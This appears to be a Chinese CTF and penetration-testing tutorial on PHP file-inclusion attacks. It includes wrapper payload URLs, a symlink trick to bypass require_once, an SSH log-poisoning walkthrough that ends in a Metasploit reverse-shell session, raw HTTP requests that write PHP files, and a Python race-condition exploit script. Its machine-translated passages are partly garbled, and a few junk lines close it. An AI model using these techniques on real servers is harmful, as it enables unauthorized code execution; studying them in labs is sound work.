目录
9.5.3【zip://, bzip2://, zlib://协议】
9.7 RCE with LFI and SSH Log Poisoning(PS:本文进行了翻译;图片因无法正常上传以)
9.9 利用session.upload_progress执行文件包含
9.5 php伪协议总结这
- 本篇总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://等
9.5.1【file://协议】
- PHP.ini:
- file:// 协议在双off的情况下也可以正常使用;
- allow_url_fopen :off/on
- allow_url_include:off/on
- file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
- file:// [文件的绝对路径和文件名]
9.5.2 【php://协议】
- 条件:
- 不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
- php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
- 参考自:PHP: php:// - Manual
- php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
- PHP.ini:
- php://filter在双off的情况下也可以正常使用;
- allow_url_fopen :off/on
- allow_url_include:off/on
- 测试现象:
- http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
- php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
- PHP.ini:
- allow_url_fopen :off/on
- allow_url_include:on
- 测试现象:
- http://127.0.0.1/
- 也可以POST如下内容生成一句话:
<?php phpinfo()?>
9.5.3【zip://, bzip2://, zlib://协议】
- PHP.ini:
- zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
- allow_url_fopen :off/on
- allow_url_include:off/on
- zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
- 参考自:PHP: zlib:// - Manual
1.【zip://协议】
- 使用方法:
- zip://archive.zip#dir/file.txt
- zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
- 测试现象
- 先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
- 由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。
2.【bzip2://协议】
- 使用方法:
- compress.bzip2://file.bz2
- 测试现象:
- http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
- or
- http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
3.【zlib://协议】
- 使用方法:
- compress.zlib://file.gz
- 测试现象:
- http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
- or
- http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
9.5.4【data://协议】
- 经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件
- PHP.ini:
- data://协议必须双在on才能正常使用;
- allow_url_fopen :on
- allow_url_include:on
- 参考自:PHP: data:// - Manual, 官方文档上allow_url_fopen应为yes。
- 测试现象:
- http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
- or
- http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
- 也可以:
- http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
- or
- http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
9.5.5 常规小结:
- PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待同学们的交流和补充。
9.6 PHP文件包含时使用多级软链接绕过文件判断的技巧
- 这个trick最早的场景是,我们如何通过require_once来多次包含同一个文件。
- 这个场景可以抽象为如下代码:
<?php require_once '/www/config.php'; // some logic here... require_once $_GET['file']; ?>
- 文字描述:就是我们在审计时找到一处文件包含漏洞(使用require_once或include_once),想利用这个漏洞读取一下数据库配置文件之类的源码,通常可以使用php://filter/convert.base64-encode/resource=file这样的方式将文件以base64的形式读出来。但如果这个文件在前面已经被包含过了,则第二次包含就会失败,即使使用php://filter也一样。
- 那么此时如何解决?
- 方法就是使用“多重软连接”,这应该算PHP的一个feature
多重软链接介绍
- 简单描述一下,就是正常情况下,PHP会将用户输入的文件名进行resolve,转换成标准的绝对路径,这个转换的过程会将../、./、软连接等都进行计算,得到一个最终的路径,再进行包含。每次包含都会经历这个过程,所以,只要是相同的文件,不管中间使用了../进行跳转,还是使用软链接进行跳转,都逃不过最终被转换成原始路径的过程,也就绕不过require_once
- 但是,如果软连接跳转的次数超过了某一个上限,Linux的lstat函数就会出错,导致PHP计算出的绝对路径就会包含一部分软连接的路径,也就和原始路径不相同的,即可绕过require_once限制。
/proc/self
指向当前进程的/proc/pid/
,/proc/self/root/
是指向/
的符号链接- 在Linux下,最常见的软连接就是/proc/self/root,这个路径指向根目录。所以,我们可以多次使用这个路径:
<?php require_once '/www/config.php'; include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';
- 这样即可包含两次/www/config.php。
- 原理php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台
9.7 RCE with LFI and SSH Log Poisoning(PS:本文进行了翻译;图片因无法正常上传以)
- In this article, you will learn how to make unauthorized access in a web server if it is suffering from local file inclusion vulnerability with help of auth log file. To perform this attack Please read our previous article “Beginner Guide to File Inclusion Attack (LFI/RFI)” and “Configure Web Server for Penetration Testing (Beginner Guide)” that will help you in the configuration of own web server as well as more about LFI vulnerability.
- Attacker: Kali Linux
- Target: Ubuntu
- Let’s Begin!!
- Create a PHP file which will allow the user to include a file through a file parameter. Hence using file parameter we can execute a file that contains malicious code to make unauthorized access is target PC.(在本文中,您将了解如何在web服务器中进行未经授权的访问,如果它受到本地文件的帮助,auth日志文件。要执行此攻击,请阅读我们之前的文章“初学者指南文件包含在配置Web服务器渗透测试(初学者指南)”,它将帮助您配置自己的v更多关于LFI漏洞。攻击者:Kali LinuxTarget: UbuntuLet开始!!创建一个PHP文件,允许用户通过file参数包含文件。因此,利用包含恶意代码的文件参数进行未经授权的访问是目标PC。)
<?php $file = $_GET['file']; if(isset($file)) { include("$file"); } else { include("index.php"); } ?>
cd /var/www/html mkdir lfi
mv /home/raj/Desktop/lfi.php .
localhost/lfi/lfi.php?file=/etc/passwd
- I had saved given below PHP code inside a text file as lfi.php and saved on the desktop.
- (我将下面给出的PHP代码保存在一个文本文件中,名为Ifi.php,并保存在桌面上。)
- Now login with the user as “root” and create a folder “lfi” inside /var/www/html
- (现在以“root”用户登录,并在/var/www/html中创建一个文件夹“Ifi”)
- Move the lfi.php file from desktop to /var/www/html using given below command.
- (使用下面的命令将Ifi.php文件从desktop移动到/var/www/html。)
- Since we had added a php file with include function inside /var/www/html which allow to read the content of another file through it and can lead to LFI attack. Let’s demonstrate it by exploring the following URL to read password files:
- (因为我们在/var/www/html中添加了一个带有include函数的php文件,它允许通过它读取另一个文件的内容,从而可能导致LFI攻击。让我们通过下面读取密码文件的URL来演示:)
- From given below image you can check the details of generated logs for the auth.log file.
- Open a terminal in your Kali Linux and connect the target through SSH service
- (根据下图,您可以检查auth.log文件生成的日志的详细信息。在Kali Linux中打开终端,通过SSH服务连接目标器)
ssh user@192.168.1.129
- From the ptcture, you can see I am connected with the target system.
- Type following command to view its logs:
- (从图中,你可以看到我与目标系统相连。输入以下命令查看日志:)
tail -f /var/log/auth.log
- From given below image you can check the details of generated logs for the auth.log file.
- Now I will try to open auth.log log file through lfi.php on the browser, therefore, give read and write permission to
- (根据下图,您可以检查auth.log文件生成的日志的详细信息。现在我将尝试在浏览器上通过Ifi.php打开auth.log日志文件,因此,给读和写权限)
cd /var/log/ chmod 775 auth.log
- Now to include the auth.log file as file parameter and give following URL inside the browser.
- (现在将auth.log文件作为file参数,并在浏览器中给出以下URL。)
192.168.1.129/lfi/lfi.php?file=/var/log/auth.log
- From the given image you can see it is showing created auth logs in the browser also.
- Since the auth.log file generates a log for every success and failed login attempt when we try to connect with the web server. Taking advantage of this feature now I will send malicious PHP code as a fake user and it will get added automatically in the auth.log file as a new log.
- (从给定的图像中,你可以看到它也在浏览器中显示了创建的身份验证日志。当我们尝试连接web服务器时,auth.log文件会为每次成功和失败的登录尝试生成日志。利用这个功能,现在我将以假用户的身份发送恶意PHPcode,它将自动添加到auth.log文件中作为新的日志。)
ssh '<?php system($_GET['c']); ?>'@192.168.1.129
- Again when you will check its log, you will find the PHP code has been added a new log.
- Type following command to view its logs:
- (当您再次检查其日志时,您将发现PHP代码已添加了新的日志。输入以下命令查看日志:)
tail -f /var/log/auth.log
- Here it will dump the data of auth.log as well as execute command given through cmd; now execute ifconfig as cmd command to verify network interface and confirm its result from inside the given screenshot.
- (在这里,它将转储auth.log的数据以及通过cmd给出的execute命令;现在执行ifconfig作为CMD命令来验证网络接口,并从给定的屏幕截图中确认其结果。)
192.168.1.129/lfi/lfi.php?file=/var/log/auth.log&c=ifconfig
use exploit/multi/script/web_delivery msf exploit (web_delivery)>set target 1 msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp msf exploit (web_delivery)> set lhost 192.168.1.123 msf exploit (web_delivery)>set srvport 8081 msf exploit (web_delivery)>exploit
- Copy the highlighted text shown in below window
- Paste the above copied malicious code inside URL as shown in the given image and execute it as a command.
- When the above code gets executed you will get meterpreter session 1 of the targeted web server.
- (将上面复制的恶意代码粘贴到URL中,如给定图像所示,并作为命令执行。当上述代码执行时,您将获得目标webdserver的meterpreter session 1。)
msf exploit (web_delivery)>sessions 1 meterpreter> sysinfo
9.8 windows上传文件精准包含技巧
- 如果一个网站已经可以文件包含了,怎么样getshell?
- 这个问题值得深思
- 环境: 如果是自己的phpstudy默认是没有开启
- 我们需要修改upload_tmp_dir = "C:\Windows\Temp" 然后利用文件上传产生的缓存文件进行命令执行,从而getshell
<html> <body> <form action="test.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="upload" value="upload" /> </form> </body> </html>
<?php include $_REQUEST['file'];
POST /xss_location/include/windows.php HTTP/1.1 Host: 172.16.60.64 Content-Length: 481 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.16.60.64 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary163SaL5Buko78Yfw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.60.64/xss_location/include/windows.html Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=s3pod5ho262o336afdd8ljvkg7 Connection: close ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file"; filename="flag.txt" Content-Type: text/plain <?php fputs(fopen('E:\phpstudy_pro\www\aaaaa.php','w'),'<?php phpinfo(); ?>'); ?> yes ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="file" C:\Windows\Temp\php<<<< ------WebKitFormBoundary163SaL5Buko78Yfw Content-Disposition: form-data; name="upload" upload ------WebKitFormBoundary163SaL5Buko78Yfw--
- 为什么我要构造这个<<<呢,在Windows中
- PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的:
- 我们翻译一下
- DOS_STAR:即 <,匹配0个以上的字符
- DOS_QM:即>,匹配1个字符
- DOS_DOT:即",匹配点号
- 我们上传的文件会在执行文件包含前被写入临时文件中;文件包含时我们借助Windows的通配符特性,在临时文件名未知的情况下成功包含,执行任意代码。
- 简单来说,<会匹配字符,我们已知他会生成php+后面几个字符,我们可以通过通配符来进行匹配最后直接命令执行。
- 最后getshell
- 如果他的php.ini下没有设置upload这个东西的路径并且还有;,也就是没有设置。 那么我们也可以直接读取任意文件 其实也没必要非得文件上传了,本来文件包含后就可以读取了,那么在实战过程中,我们要使用以上的tip,就有两个条件:
- 1.php.ini中的upload_tmp_dir 下必须有C:/Windows/Temp这个路径
- 2.得有写入的权限(这个默认应该都可以)
- 3.$_REQUEST得有,因为他是获取表单信息的一个数组,如果没有它,那么我们就不能进行文件上传来打。
- 那么我们就可以直接通过文件包含来直接getshell。
9.9 利用session.upload_progress执行文件包含
- session.auto_start顾名思义,如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的。
- session.upload_progress最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。
- 而且,默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启,非常nice。
- 那么,如何利用这个特性呢? 只需发送如下数据包:
POST /xss_location/include/session_upload.php HTTP/1.1 Host: 172.16.60.64 Content-Length: 347 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.16.60.64 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA Cookie: PHPSESSID=aaaaaaa User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.60.64/xss_location/include/session_upload.html Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryGmgITM0pPCAAzrsA Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" <?php phpinfo(); ?> ------WebKitFormBoundaryGmgITM0pPCAAzrsA Content-Disposition: form-data; name="file"; filename="flag.txt" Content-Type: text/plain <?php phpinfo(); ?>aaaaaaaaaaaaa ------WebKitFormBoundaryGmgITM0pPCAAzrsA--
- 可见,我在上传文件的同时,POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,其值为bbbbbbb。(PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name)只要上传包里带上这个键,PHP就会自动启用Session,又因为我在Cookie中设置了PHPSESSID=aaaaaaa,所以Session文件将会自动创建。
- 但它的大小为什么是0呢?因为上传结束后,这个Session将会被自动清除(由session.upload_progress.cleanup定义),我们只需要条件竞争,赶在文件被清除前利用即可。
- 所以,在文件包含漏洞找不到可供包含的文件时,可以利用这个技巧。
- 比如,目标服务器上有这样一段代码:
<?php if (isset($_GET['file'])) { include $_GET['file']; }
- 我们用一个简单的Python脚本,即可实现代码执行漏洞的利用:
import io import requests import threading sessid = 'zyl' # 会话ID # 线程1的函数 def t1(session): while True: # 创建一个 50KB 的内存文件 f = io.BytesIO(b'a' * 1024 * 50) # 发送 POST 请求,上传文件和数据 response = session.post( 'http://192.168.1.7/xss_location/include/session_upload.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'}, # 上传的表单数据,包含 PHP 代码 files={'file': ('a.txt', f)}, # 上传的文件 cookies={'PHPSESSID': sessid} # 包含会话 Cookie ) # 线程2的函数 def t2(session): while True: # 发送 GET 请求,读取特定路径的文件内容 response = session.get(f'http://192.168.1.7/xss_location/include/session_upload.php?file=C:/windows/sess_{sessid}') print(response.text) # 打印响应内容 # 创建会话对象 with requests.session() as session: # 启动线程1,执行文件上传 t1_thread = threading.Thread(target=t1, args=(session,)) t1_thread.daemon = True # 设置为后台线程 t1_thread.start() # 启动线程2,执行文件读取 t2(session)
...
f wace
vfs aer